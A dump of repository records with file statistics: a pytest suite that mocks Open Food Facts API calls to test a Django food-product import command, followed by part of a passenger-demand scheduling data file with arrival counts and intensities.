| 26.581818 | 76 | 0.669973 | 437 | 2,924 | 4.217391 | 0.196796 | 0.071622 | 0.059685 | 0.039067 | 0.818774 | 0.805751 | 0.805751 | 0.791644 | 0.791644 | 0.791644 | 0 | 0.019556 | 0.230506 | 2,924 | 109 | 77 | 26.825688 | 0.799556 | 0.166553 | 0 | 0.626866 | 0 | 0 | 0.015277 | 0 | 0 | 0 | 0 | 0 | 0.059701 | 1 | 0.029851 | false | 0 | 0.104478 | 0 | 0.134328 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
ad5a5a9816970ce89245e32e8aec23b8216d8dfd | 19,884 | py | Python | purbeurre_project/apps/product/tests/api_off_tests.py | etiennody/purbeurre-v2 | cee10b5ad3ccee6535f197070cd4ee80f2bad5d0 | [
"MIT"
] | null | null | null | purbeurre_project/apps/product/tests/api_off_tests.py | etiennody/purbeurre-v2 | cee10b5ad3ccee6535f197070cd4ee80f2bad5d0 | [
"MIT"
] | 3 | 2020-10-12T13:58:38.000Z | 2020-11-12T01:02:14.000Z | purbeurre_project/apps/product/tests/api_off_tests.py | etiennody/purbeurre-v2 | cee10b5ad3ccee6535f197070cd4ee80f2bad5d0 | [
"MIT"
] | 1 | 2021-02-03T18:49:31.000Z | 2021-02-03T18:49:31.000Z | """Mocking tests to processing import data from Open Food Facts Api
Raises:
Exception: categories from Open Food Facts endpoints is down
Exception: products from Open Food Facts endpoints is down
"""
# pylint: disable=redefined-outer-name
import pytest
import requests
import responses
from product.management.commands.import_off import Command as command_import
from product.models import Category, Product
@pytest.fixture
def mocked_responses():
"""Responses as a pytest fixture
Yields:
generator: code block after the yield statement is executed as teardown code
"""
with responses.RequestsMock() as rsps:
yield rsps
def test_valid_status_code_api_off_for_categories_is_success(mocked_responses):
"""Valid if status code for categories endpoint import is success
Args:
mocked_responses (fixture): test function was called with mocked_responses
"""
mocked_responses.add(
responses.GET,
"https://fr.openfoodfacts.org/categories.json",
body="{}",
status=200,
content_type="application/json",
)
resp = requests.get("https://fr.openfoodfacts.org/categories.json")
assert resp.status_code == 200
def test_valid_status_code_api_off_for_products_is_success(mocked_responses):
"""Valid if status code for products endpoint import is success
Args:
mocked_responses (fixture): test function was called with mocked_responses
"""
mocked_responses.add(
responses.GET,
"https://fr.openfoodfacts.org/cgi/search.pl?",
body="{}",
status=200,
content_type="application/json",
)
resp = requests.get("https://fr.openfoodfacts.org/cgi/search.pl?")
assert resp.status_code == 200
@pytest.mark.django_db
def test_valid_one_category_populated_in_db(mocked_responses):
"""Valid if one category can be populated in database
Args:
mocked_responses (fixture): test function was called with mocked_responses
"""
mocked_responses.add(
responses.GET,
"https://fr.openfoodfacts.org/categories.json",
json={
"tags": [
{"name": "pate-a-tartiner", "products": 5002},
{"name": "Fruits", "products": 5001},
]
},
status=200,
content_type="application/json",
)
resp = requests.get("https://fr.openfoodfacts.org/categories.json")
command = command_import()
selected = command.get_populate_categories()
assert resp.status_code == 200
assert len(selected) == 2
assert selected[0]["name"] == "pate-a-tartiner"
assert selected[0]["products"] == 5002
assert selected[1]["name"] == "Fruits"
assert selected[1]["products"] == 5001
assert Category.objects.filter(name="pate-a-tartiner").exists()
def test_import_categories_max_products(mocked_responses):
"""
Valid if categories can be import with
equal or greater than 5000 products
Args:
mocked_responses (fixture): test function was called with mocked_responses
"""
mocked_responses.add(
responses.GET,
"https://fr.openfoodfacts.org/categories.json",
status=200,
json={
"tags": [
{"name": "pate-a-tartiner", "products": 2000},
{"name": "Fruits", "products": 40000},
]
},
)
command = command_import()
selected = command.get_populate_categories()
assert len(selected) == 1
assert selected[0]["name"] == "Fruits"
assert selected[0]["products"] == 40000
@pytest.mark.django_db
def test_valid_one_product_was_populated_in_db(mocked_responses):
"""Valid if one product can be populated in database
Args:
mocked_responses (fixture): test function was called with mocked_responses
"""
mocked_responses.add(
responses.GET,
"https://fr.openfoodfacts.org/categories.json",
json={"tags": [{"name": "category_test", "products": 5002}]},
)
mocked_responses.add(
responses.GET,
"https://fr.openfoodfacts.org/cgi/search.pl?",
json={
"products": [
{
"product_name": "test",
"nutrition_grade_fr": "a",
"url": "http://test.fr",
"image_front_url": "http://test.fr/test.jpg",
"categories": "foo,bar",
"nutriments": {
"energy_value": "1",
"energy_unit": "gr",
"carbohydrates_100g": "2",
"sugars_100g": "2",
"fat_100g": "2",
"saturated-fat_100g": "2",
"salt_100g": "2",
"sodium_100g": "2",
"fiber_100g": "2",
"proteins_100g": "2",
},
}
]
},
status=200,
)
payload = {
"action": "process",
"tagtype_0": "categories",
"tag_contains_0": "contains",
"tag_0": "category_test",
"sort_by": "unique_scans_n",
"page_size": 500,
"json": 1,
}
resp_categories = requests.get("https://fr.openfoodfacts.org/categories.json")
resp_product = requests.get(
"https://fr.openfoodfacts.org/cgi/search.pl?", params=payload
)
command = command_import()
command.handle()
assert resp_categories.status_code == 200
assert resp_product.status_code == 200
assert Product.objects.filter(name="test").exists()
product = Product.objects.get(name="test")
categ1 = Category.objects.get(name="foo")
categ2 = Category.objects.get(name="bar")
assert categ1 in product.categories.all()
assert categ2 in product.categories.all()
@pytest.mark.django_db
def test_valid_populated_products():
"""Valid create_products method with two categories for a product"""
command = command_import()
command.populate_products(
[
{
"product_name": "test",
"nutrition_grade_fr": "a",
"url": "http://test.fr",
"image_front_url": "http://test.fr/test.jpg",
"categories": "foo,bar",
"nutriments": {
"energy_value": "1",
"energy_unit": "gr",
"carbohydrates_100g": "2",
"sugars_100g": "2",
"fat_100g": "2",
"saturated-fat_100g": "2",
"salt_100g": "2",
"sodium_100g": "2",
"fiber_100g": "2",
"proteins_100g": "2",
},
}
]
)
product = Product.objects.get(name="test")
categ1 = Category.objects.get(name="foo")
categ2 = Category.objects.get(name="bar")
assert categ1 in product.categories.all()
assert categ2 in product.categories.all()
@pytest.mark.django_db
def test_valid_existing_category():
"""Valid create_products method if categories exist"""
command = command_import()
command.populate_products(
[
{
"product_name": "test",
"nutrition_grade_fr": "a",
"url": "http://test.fr",
"image_front_url": "http://test.fr/test.jpg",
"categories": "foo,bar",
"nutriments": {
"energy_value": "1",
"energy_unit": "gr",
"carbohydrates_100g": "2",
"sugars_100g": "2",
"fat_100g": "2",
"saturated-fat_100g": "2",
"salt_100g": "2",
"sodium_100g": "2",
"fiber_100g": "2",
"proteins_100g": "2",
},
}
]
)
Product.objects.get(name="test")
Category.objects.get(name="foo")
Category.objects.get(name="bar")
assert Category.objects.filter(name="foo").exists()
assert Category.objects.filter(name="bar").exists()
@responses.activate
def test_import_raises_categories():
"""
Invalid import data from categories Open Food Fats Api endpoint
and raise an exception with a message
Raises:
Exception: categories from Open Food Facts endpoints is down
"""
responses.add(
responses.GET, "https://fr.openfoodfacts.org/categories.json", status=404
)
with pytest.raises(Exception):
command = command_import()
command.get_populate_categories()
raise Exception("Cannot import categories from Open Food Facts endpoints")
@responses.activate
def test_import_raises_products():
"""
Invalid import data from products Open Food Fats Api endpoint
and raise an exception with a message
Raises:
Exception: products from Open Food Facts endpoints is down
"""
responses.add(
responses.GET, "https://fr.openfoodfacts.org/cgi/search.pl?", status=404
)
with pytest.raises(Exception):
command = command_import()
command.get_populate_categories()
raise Exception("Cannot import products from Open Food Facts endpoints")
@pytest.mark.django_db
def test_valid_update_one_product_nutriscore_a_to_b_populated(mocked_responses):
"""Valid if a product can be updated with nutriscore a to b in database
Args:
mocked_responses (fixture): test function was called with mocked_responses
"""
product = Product.objects.create(
name="ProductA",
nutrition_grade="a",
energy_100g="2",
energy_unit="gr",
carbohydrates_100g="2",
sugars_100g="2",
fat_100g="2",
saturated_fat_100g="2",
salt_100g="0.2",
sodium_100g="0.2",
fiber_100g="0.2",
proteins_100g="0.2",
image_url="http://www.test-product.fr/product.jpg",
url="http://www.test-product.fr",
)
category = Category.objects.create(name="bar")
category.product_set.add(product)
mocked_responses.add(
responses.GET,
"https://fr.openfoodfacts.org/categories.json",
json={"tags": [{"name": "foo", "products": 5002}]},
)
mocked_responses.add(
responses.GET,
"https://fr.openfoodfacts.org/cgi/search.pl?",
json={
"products": [
{
"product_name": "ProductA",
"nutrition_grade_fr": "b",
"url": "http://www.test-product.fr",
"image_front_url": "http://www.test-product.fr/product.jpg",
"categories": "foo",
"nutriments": {
"energy_value": "1",
"energy_unit": "gr",
"carbohydrates_100g": "2",
"sugars_100g": "2",
"fat_100g": "2",
"saturated-fat_100g": "2",
"salt_100g": "0.2",
"sodium_100g": "0.2",
"fiber_100g": "0.2",
"proteins_100g": "0.2",
},
}
]
},
status=200,
)
payload = {
"action": "process",
"tagtype_0": "categories",
"tag_contains_0": "contains",
"tag_0": "foo",
"sort_by": "unique_scans_n",
"page_size": 500,
"json": 1,
}
resp_categories = requests.get("https://fr.openfoodfacts.org/categories.json")
resp_product = requests.get(
"https://fr.openfoodfacts.org/cgi/search.pl?", params=payload
)
command = command_import()
command.handle()
assert resp_categories.status_code == 200
assert resp_product.status_code == 200
assert Product.objects.filter(name="ProductA").exists()
assert Product.objects.filter(nutrition_grade="b").exists()
assert Product.objects.count() == 1
@pytest.mark.django_db
def test_valid_noupdate_for_one_product(mocked_responses):
"""Valid if a product can be updated without changes in database
Args:
mocked_responses (fixture): test function was called with mocked_responses
"""
product = Product.objects.create(
name="ProductA",
nutrition_grade="a",
energy_100g="2",
energy_unit="gr",
carbohydrates_100g="2",
sugars_100g="2",
fat_100g="2",
saturated_fat_100g="2",
salt_100g="0.2",
sodium_100g="0.2",
fiber_100g="0.2",
proteins_100g="0.2",
image_url="http://www.test-product.fr/product.jpg",
url="http://www.test-product.fr",
)
category = Category.objects.create(name="bar")
category.product_set.add(product)
mocked_responses.add(
responses.GET,
"https://fr.openfoodfacts.org/categories.json",
json={"tags": [{"name": "bar", "products": 5002}]},
)
mocked_responses.add(
responses.GET,
"https://fr.openfoodfacts.org/cgi/search.pl?",
json={
"products": [
{
"product_name": "ProductA",
"nutrition_grade_fr": "a",
"url": "http://www.test-product.fr",
"image_front_url": "http://www.test-product.fr/product.jpg",
"categories": "bar",
"nutriments": {
"energy_value": "2",
"energy_unit": "gr",
"carbohydrates_100g": "2",
"sugars_100g": "2",
"fat_100g": "2",
"saturated-fat_100g": "2",
"salt_100g": "0.2",
"sodium_100g": "0.2",
"fiber_100g": "0.2",
"proteins_100g": "0.2",
},
}
]
},
status=200,
)
payload = {
"action": "process",
"tagtype_0": "categories",
"tag_contains_0": "contains",
"tag_0": "bar",
"sort_by": "unique_scans_n",
"page_size": 500,
"json": 1,
}
resp_categories = requests.get("https://fr.openfoodfacts.org/categories.json")
resp_product = requests.get(
"https://fr.openfoodfacts.org/cgi/search.pl?", params=payload
)
command = command_import()
command.handle()
assert resp_categories.status_code == 200
assert resp_product.status_code == 200
assert Product.objects.filter(name="ProductA").exists()
assert Product.objects.filter(nutrition_grade="a").exists()
categ_bar = Category.objects.get(name="bar")
assert categ_bar in product.categories.all()
assert Product.objects.count() == 1
@pytest.mark.django_db
def test_valid_updating_and_new_product_in_same_category(mocked_responses):
"""Valid if a product a can be updated with another product b to be added
Args:
mocked_responses (fixture): test function was called with mocked_responses
"""
product_a = Product.objects.create(
name="ProductA",
nutrition_grade="a",
energy_100g="2",
energy_unit="gr",
carbohydrates_100g="2",
sugars_100g="2",
fat_100g="2",
saturated_fat_100g="2",
salt_100g="0.2",
sodium_100g="0.2",
fiber_100g="0.2",
proteins_100g="0.2",
image_url="http://www.test-product-a.fr/product-a.jpg",
url="http://www.test-product-a.fr",
)
category = Category.objects.create(name="foo")
category.product_set.add(product_a)
mocked_responses.add(
responses.GET,
"https://fr.openfoodfacts.org/categories.json",
json={
"tags": [
{"name": "foo", "products": 5002},
]
},
)
mocked_responses.add(
responses.GET,
"https://fr.openfoodfacts.org/cgi/search.pl?",
json={
"products": [
{
"product_name": "ProductA",
"nutrition_grade_fr": "a",
"url": "http://www.test-product-a.fr",
"image_front_url": "http://www.test-product-a.fr/product-a.jpg",
"categories": "foo",
"nutriments": {
"energy_value": "1",
"energy_unit": "gr",
"carbohydrates_100g": "1",
"sugars_100g": "1",
"fat_100g": "1",
"saturated-fat_100g": "1",
"salt_100g": "0.1",
"sodium_100g": "0.1",
"fiber_100g": "0.1",
"proteins_100g": "0.1",
},
},
{
"product_name": "ProductB",
"nutrition_grade_fr": "b",
"url": "http://www.test-product-b.fr",
"image_front_url": "http://www.test-product-b.fr/product-b.jpg",
"categories": "foo",
"nutriments": {
"energy_value": "3",
"energy_unit": "gr",
"carbohydrates_100g": "2",
"sugars_100g": "2",
"fat_100g": "2",
"saturated-fat_100g": "2",
"salt_100g": "0.2",
"sodium_100g": "0.2",
"fiber_100g": "0.2",
"proteins_100g": "0.2",
},
},
]
},
status=200,
)
payload = {
"action": "process",
"tagtype_0": "categories",
"tag_contains_0": "contains",
"tag_0": "foo",
"sort_by": "unique_scans_n",
"page_size": 500,
"json": 1,
}
resp_categories = requests.get("https://fr.openfoodfacts.org/categories.json")
resp_product = requests.get(
"https://fr.openfoodfacts.org/cgi/search.pl?", params=payload
)
command = command_import()
command.handle()
assert resp_categories.status_code == 200
assert resp_product.status_code == 200
# Test ProductA
assert Product.objects.filter(name="ProductA").exists()
assert Product.objects.filter(nutrition_grade="a").exists()
categ_foo = Category.objects.get(name="foo")
assert categ_foo in product_a.categories.all()
# Test ProductB
assert Product.objects.filter(name="ProductB").exists()
assert Product.objects.filter(nutrition_grade="b").exists()
product_b_selected = Product.objects.get(name="ProductB")
assert categ_foo in product_b_selected.categories.all()
# Count in database
assert Product.objects.count() == 2
assert Category.objects.count() == 1
@pytest.mark.django_db
def test_valid_one_category_updated(mocked_responses):
"""Valid if one category can be upadted in database
Args:
mocked_responses (fixture): test function was called with mocked_responses
"""
Category.objects.create(name="pate-a-tartiner")
mocked_responses.add(
responses.GET,
"https://fr.openfoodfacts.org/categories.json",
json={"tags": [{"name": "Pâte-à-Tartiner", "products": 5002}]},
status=200,
content_type="application/json",
)
resp = requests.get("https://fr.openfoodfacts.org/categories.json")
command = command_import()
selected = command.get_populate_categories()
assert resp.status_code == 200
assert len(selected) == 1
assert selected[0]["name"] == "Pâte-à-Tartiner"
assert selected[0]["products"] == 5002
| 34.106346 | 84 | 0.550141 | 2,101 | 19,884 | 5.026654 | 0.089957 | 0.024145 | 0.025566 | 0.058801 | 0.850393 | 0.819146 | 0.783733 | 0.773033 | 0.743396 | 0.700502 | 0 | 0.040162 | 0.317542 | 19,884 | 582 | 85 | 34.164948 | 0.738099 | 0.110139 | 0 | 0.684874 | 0 | 0 | 0.25185 | 0 | 0 | 0 | 0 | 0 | 0.096639 | 1 | 0.029412 | false | 0 | 0.044118 | 0 | 0.073529 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
ad98a4eec1f5567ec2b642293b74ec8e98a00539 | 38,083 | py | Python | instances/passenger_demand/pas-20210421-2109-int16e/60.py | LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure | bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11 | [
"BSD-3-Clause"
] | null | null | null | instances/passenger_demand/pas-20210421-2109-int16e/60.py | LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure | bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11 | [
"BSD-3-Clause"
] | null | null | null | instances/passenger_demand/pas-20210421-2109-int16e/60.py | LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure | bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11 | [
"BSD-3-Clause"
] | null | null | null |
"""
PASSENGERS
"""
numPassengers = 3708
passenger_arriving = (
(3, 10, 11, 5, 1, 0, 7, 8, 5, 7, 1, 0), # 0
(3, 10, 6, 2, 2, 0, 12, 11, 4, 5, 1, 0), # 1
(6, 12, 11, 3, 2, 0, 3, 8, 3, 4, 0, 0), # 2
(6, 12, 13, 3, 4, 0, 8, 11, 11, 4, 3, 0), # 3
(8, 6, 4, 3, 1, 0, 13, 11, 4, 5, 1, 0), # 4
(2, 11, 13, 6, 2, 0, 11, 5, 7, 3, 5, 0), # 5
(6, 9, 4, 6, 3, 0, 14, 12, 6, 5, 4, 0), # 6
(3, 9, 4, 5, 3, 0, 6, 12, 2, 9, 2, 0), # 7
(4, 8, 6, 4, 1, 0, 8, 4, 8, 10, 3, 0), # 8
(4, 9, 9, 4, 4, 0, 10, 6, 7, 6, 3, 0), # 9
(5, 8, 4, 4, 1, 0, 4, 11, 8, 5, 4, 0), # 10
(5, 13, 12, 3, 1, 0, 6, 8, 7, 8, 4, 0), # 11
(3, 9, 6, 6, 4, 0, 9, 7, 7, 7, 1, 0), # 12
(5, 11, 7, 3, 6, 0, 5, 7, 8, 3, 4, 0), # 13
(5, 13, 11, 5, 1, 0, 6, 11, 7, 6, 5, 0), # 14
(4, 13, 6, 5, 1, 0, 5, 9, 4, 7, 3, 0), # 15
(2, 6, 6, 7, 0, 0, 9, 13, 8, 5, 1, 0), # 16
(4, 11, 2, 3, 3, 0, 7, 6, 6, 4, 1, 0), # 17
(5, 10, 6, 2, 1, 0, 9, 9, 7, 11, 3, 0), # 18
(5, 16, 11, 1, 2, 0, 7, 12, 5, 3, 2, 0), # 19
(4, 13, 14, 1, 1, 0, 7, 7, 13, 5, 2, 0), # 20
(5, 10, 8, 4, 1, 0, 10, 8, 8, 4, 0, 0), # 21
(3, 13, 3, 3, 2, 0, 16, 9, 6, 2, 3, 0), # 22
(3, 6, 7, 5, 2, 0, 5, 11, 3, 7, 6, 0), # 23
(4, 11, 6, 3, 0, 0, 6, 10, 8, 3, 1, 0), # 24
(5, 10, 6, 1, 1, 0, 6, 14, 7, 7, 2, 0), # 25
(7, 16, 5, 7, 2, 0, 7, 15, 6, 9, 4, 0), # 26
(4, 6, 9, 4, 3, 0, 3, 9, 3, 10, 2, 0), # 27
(4, 11, 10, 3, 0, 0, 10, 8, 12, 6, 1, 0), # 28
(4, 17, 10, 8, 3, 0, 11, 12, 11, 4, 0, 0), # 29
(3, 17, 11, 4, 4, 0, 5, 10, 5, 4, 5, 0), # 30
(4, 15, 12, 6, 4, 0, 4, 15, 5, 3, 1, 0), # 31
(3, 14, 8, 4, 3, 0, 5, 6, 3, 8, 2, 0), # 32
(2, 8, 8, 9, 1, 0, 3, 7, 7, 6, 5, 0), # 33
(3, 14, 13, 4, 2, 0, 5, 8, 5, 7, 3, 0), # 34
(9, 13, 5, 5, 2, 0, 3, 8, 10, 6, 2, 0), # 35
(6, 6, 3, 2, 3, 0, 11, 12, 7, 7, 5, 0), # 36
(1, 12, 8, 1, 5, 0, 10, 8, 5, 13, 2, 0), # 37
(4, 16, 9, 7, 3, 0, 5, 6, 5, 3, 8, 0), # 38
(6, 13, 14, 2, 6, 0, 6, 11, 6, 11, 3, 0), # 39
(5, 10, 11, 3, 3, 0, 5, 12, 5, 8, 2, 0), # 40
(6, 15, 8, 3, 4, 0, 8, 8, 4, 5, 7, 0), # 41
(6, 16, 12, 4, 3, 0, 4, 7, 8, 6, 2, 0), # 42
(6, 5, 6, 4, 3, 0, 2, 13, 4, 7, 3, 0), # 43
(7, 17, 5, 4, 2, 0, 6, 7, 10, 4, 7, 0), # 44
(8, 17, 12, 2, 5, 0, 5, 14, 8, 6, 2, 0), # 45
(9, 16, 9, 5, 5, 0, 2, 12, 7, 5, 4, 0), # 46
(8, 12, 11, 7, 6, 0, 6, 8, 6, 4, 2, 0), # 47
(6, 7, 7, 6, 1, 0, 7, 9, 6, 4, 2, 0), # 48
(7, 3, 20, 8, 1, 0, 6, 6, 4, 1, 3, 0), # 49
(6, 9, 7, 6, 4, 0, 7, 21, 1, 7, 3, 0), # 50
(3, 13, 5, 4, 2, 0, 6, 7, 5, 8, 2, 0), # 51
(8, 9, 13, 5, 1, 0, 5, 8, 3, 5, 3, 0), # 52
(7, 9, 8, 6, 1, 0, 5, 9, 10, 7, 3, 0), # 53
(3, 12, 6, 4, 1, 0, 8, 7, 5, 8, 1, 0), # 54
(9, 11, 16, 9, 2, 0, 5, 12, 7, 5, 3, 0), # 55
(6, 14, 10, 3, 3, 0, 9, 11, 5, 6, 6, 0), # 56
(2, 5, 4, 5, 3, 0, 4, 8, 9, 6, 4, 0), # 57
(6, 10, 4, 7, 0, 0, 10, 17, 6, 6, 0, 0), # 58
(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0), # 59
)
station_arriving_intensity = (
(4.239442493415277, 10.874337121212122, 12.79077763496144, 10.138043478260869, 11.428846153846154, 7.610869565217392), # 0
(4.27923521607648, 10.995266557940518, 12.859864860039991, 10.194503019323673, 11.51450641025641, 7.608275422705315), # 1
(4.318573563554774, 11.114402244668911, 12.927312196515281, 10.249719806763286, 11.598358974358975, 7.60560193236715), # 2
(4.357424143985952, 11.231615625000002, 12.993070372750644, 10.303646739130434, 11.680326923076926, 7.60284945652174), # 3
(4.395753565505805, 11.346778142536477, 13.057090117109396, 10.356236714975847, 11.760333333333335, 7.600018357487922), # 4
(4.433528436250122, 11.459761240881035, 13.11932215795487, 10.407442632850241, 11.838301282051281, 7.597108997584541), # 5
(4.470715364354698, 11.570436363636365, 13.179717223650389, 10.457217391304349, 11.914153846153846, 7.594121739130435), # 6
(4.507280957955322, 11.678674954405162, 13.238226042559269, 10.50551388888889, 11.987814102564105, 7.591056944444445), # 7
(4.543191825187787, 11.784348456790122, 13.294799343044847, 10.552285024154589, 12.059205128205129, 7.587914975845411), # 8
(4.578414574187884, 11.88732831439394, 13.34938785347044, 10.597483695652175, 12.12825, 7.584696195652175), # 9
(4.612915813091406, 11.987485970819305, 13.401942302199371, 10.64106280193237, 12.194871794871796, 7.581400966183574), # 10
(4.646662150034143, 12.084692869668913, 13.452413417594972, 10.682975241545895, 12.25899358974359, 7.578029649758455), # 11
(4.679620193151888, 12.178820454545454, 13.500751928020566, 10.723173913043478, 12.320538461538462, 7.574582608695652), # 12
(4.71175655058043, 12.26974016905163, 13.546908561839473, 10.761611714975846, 12.37942948717949, 7.5710602053140095), # 13
(4.743037830455566, 12.357323456790127, 13.590834047415022, 10.798241545893719, 12.435589743589743, 7.567462801932367), # 14
(4.773430640913081, 12.441441761363635, 13.632479113110538, 10.833016304347826, 12.488942307692309, 7.563790760869566), # 15
(4.802901590088772, 12.521966526374861, 13.671794487289347, 10.86588888888889, 12.539410256410257, 7.560044444444445), # 16
(4.831417286118428, 12.598769195426486, 13.708730898314768, 10.896812198067634, 12.586916666666667, 7.556224214975846), # 17
(4.8589443371378405, 12.671721212121213, 13.74323907455013, 10.925739130434785, 12.631384615384619, 7.552330434782609), # 18
(4.8854493512828014, 12.740694020061728, 13.775269744358756, 10.952622584541063, 12.67273717948718, 7.5483634661835755), # 19
(4.910898936689104, 12.805559062850728, 13.804773636103969, 10.9774154589372, 12.710897435897436, 7.544323671497584), # 20
(4.935259701492538, 12.866187784090906, 13.831701478149103, 11.000070652173914, 12.74578846153846, 7.540211413043479), # 21
(4.958498253828894, 12.922451627384962, 13.856003998857469, 11.020541062801932, 12.777333333333331, 7.5360270531400975), # 22
(4.980581201833967, 12.97422203633558, 13.877631926592404, 11.038779589371982, 12.805455128205129, 7.531770954106282), # 23
(5.001475153643547, 13.021370454545455, 13.896535989717222, 11.054739130434783, 12.830076923076923, 7.52744347826087), # 24
(5.0211467173934246, 13.063768325617284, 13.91266691659526, 11.068372584541065, 12.851121794871794, 7.523044987922706), # 25
(5.039562501219393, 13.101287093153758, 13.925975435589832, 11.079632850241545, 12.86851282051282, 7.518575845410628), # 26
(5.056689113257243, 13.133798200757575, 13.936412275064265, 11.088472826086958, 12.88217307692308, 7.514036413043479), # 27
(5.072493161642767, 13.161173092031426, 13.943928163381893, 11.09484541062802, 12.89202564102564, 7.509427053140097), # 28
(5.086941254511755, 13.183283210578004, 13.948473828906026, 11.09870350241546, 12.89799358974359, 7.504748128019324), # 29
(5.1000000000000005, 13.200000000000001, 13.950000000000001, 11.100000000000001, 12.9, 7.5), # 30
(5.112219245524297, 13.213886079545453, 13.948855917874395, 11.099765849673204, 12.89926985815603, 7.4934020156588375), # 31
(5.124174680306906, 13.227588636363638, 13.945456038647343, 11.099067973856208, 12.897095035460993, 7.483239613526571), # 32
(5.135871675191815, 13.241105965909092, 13.93984891304348, 11.097913235294119, 12.893498936170213, 7.469612293853072), # 33
(5.147315601023018, 13.254436363636366, 13.93208309178744, 11.096308496732028, 12.888504964539008, 7.452619556888223), # 34
(5.158511828644501, 13.267578124999998, 13.922207125603865, 11.094260620915033, 12.882136524822696, 7.432360902881893), # 35
(5.169465728900256, 13.280529545454549, 13.91026956521739, 11.091776470588236, 12.874417021276598, 7.408935832083959), # 36
(5.180182672634271, 13.293288920454547, 13.896318961352657, 11.088862908496733, 12.865369858156027, 7.382443844744294), # 37
(5.190668030690537, 13.305854545454546, 13.8804038647343, 11.08552679738562, 12.855018439716313, 7.352984441112776), # 38
(5.200927173913044, 13.318224715909091, 13.862572826086955, 11.081775, 12.843386170212765, 7.32065712143928), # 39
(5.21096547314578, 13.330397727272729, 13.842874396135267, 11.077614379084968, 12.830496453900707, 7.285561385973679), # 40
(5.220788299232737, 13.342371874999998, 13.821357125603866, 11.073051797385622, 12.816372695035462, 7.247796734965852), # 41
(5.230401023017903, 13.354145454545458, 13.798069565217393, 11.068094117647059, 12.801038297872342, 7.207462668665667), # 42
(5.239809015345269, 13.365716761363636, 13.773060265700483, 11.06274820261438, 12.784516666666667, 7.164658687323005), # 43
(5.249017647058824, 13.377084090909092, 13.746377777777779, 11.05702091503268, 12.76683120567376, 7.119484291187739), # 44
(5.258032289002557, 13.388245738636364, 13.718070652173916, 11.050919117647059, 12.748005319148938, 7.072038980509745), # 45
(5.266858312020461, 13.399200000000002, 13.688187439613529, 11.044449673202614, 12.72806241134752, 7.022422255538898), # 46
(5.275501086956522, 13.409945170454547, 13.656776690821255, 11.037619444444445, 12.707025886524825, 6.970733616525071), # 47
(5.283965984654732, 13.420479545454548, 13.623886956521739, 11.030435294117646, 12.68491914893617, 6.9170725637181425), # 48
(5.292258375959079, 13.430801420454543, 13.589566787439615, 11.022904084967323, 12.66176560283688, 6.861538597367982), # 49
(5.300383631713555, 13.440909090909088, 13.553864734299518, 11.015032679738564, 12.63758865248227, 6.804231217724471), # 50
(5.308347122762149, 13.450800852272728, 13.516829347826087, 11.006827941176471, 12.612411702127659, 6.7452499250374816), # 51
(5.316154219948849, 13.460475, 13.47850917874396, 10.998296732026144, 12.58625815602837, 6.684694219556889), # 52
(5.3238102941176475, 13.469929829545457, 13.438952777777779, 10.98944591503268, 12.559151418439718, 6.622663601532567), # 53
(5.331320716112533, 13.479163636363635, 13.398208695652173, 10.980282352941177, 12.531114893617023, 6.559257571214393), # 54
(5.338690856777493, 13.488174715909091, 13.356325483091787, 10.970812908496733, 12.502171985815604, 6.494575628852241), # 55
(5.3459260869565215, 13.496961363636363, 13.313351690821257, 10.961044444444445, 12.472346099290782, 6.428717274695986), # 56
(5.353031777493607, 13.505521875000003, 13.269335869565218, 10.950983823529413, 12.441660638297872, 6.361782008995502), # 57
(5.360013299232737, 13.513854545454544, 13.224326570048309, 10.940637908496733, 12.410139007092198, 6.293869332000667), # 58
(0.0, 0.0, 0.0, 0.0, 0.0, 0.0), # 59
)
passenger_arriving_acc = (
(3, 10, 11, 5, 1, 0, 7, 8, 5, 7, 1, 0), # 0
(6, 20, 17, 7, 3, 0, 19, 19, 9, 12, 2, 0), # 1
(12, 32, 28, 10, 5, 0, 22, 27, 12, 16, 2, 0), # 2
(18, 44, 41, 13, 9, 0, 30, 38, 23, 20, 5, 0), # 3
(26, 50, 45, 16, 10, 0, 43, 49, 27, 25, 6, 0), # 4
(28, 61, 58, 22, 12, 0, 54, 54, 34, 28, 11, 0), # 5
(34, 70, 62, 28, 15, 0, 68, 66, 40, 33, 15, 0), # 6
(37, 79, 66, 33, 18, 0, 74, 78, 42, 42, 17, 0), # 7
(41, 87, 72, 37, 19, 0, 82, 82, 50, 52, 20, 0), # 8
(45, 96, 81, 41, 23, 0, 92, 88, 57, 58, 23, 0), # 9
(50, 104, 85, 45, 24, 0, 96, 99, 65, 63, 27, 0), # 10
(55, 117, 97, 48, 25, 0, 102, 107, 72, 71, 31, 0), # 11
(58, 126, 103, 54, 29, 0, 111, 114, 79, 78, 32, 0), # 12
(63, 137, 110, 57, 35, 0, 116, 121, 87, 81, 36, 0), # 13
(68, 150, 121, 62, 36, 0, 122, 132, 94, 87, 41, 0), # 14
(72, 163, 127, 67, 37, 0, 127, 141, 98, 94, 44, 0), # 15
(74, 169, 133, 74, 37, 0, 136, 154, 106, 99, 45, 0), # 16
(78, 180, 135, 77, 40, 0, 143, 160, 112, 103, 46, 0), # 17
(83, 190, 141, 79, 41, 0, 152, 169, 119, 114, 49, 0), # 18
(88, 206, 152, 80, 43, 0, 159, 181, 124, 117, 51, 0), # 19
(92, 219, 166, 81, 44, 0, 166, 188, 137, 122, 53, 0), # 20
(97, 229, 174, 85, 45, 0, 176, 196, 145, 126, 53, 0), # 21
(100, 242, 177, 88, 47, 0, 192, 205, 151, 128, 56, 0), # 22
(103, 248, 184, 93, 49, 0, 197, 216, 154, 135, 62, 0), # 23
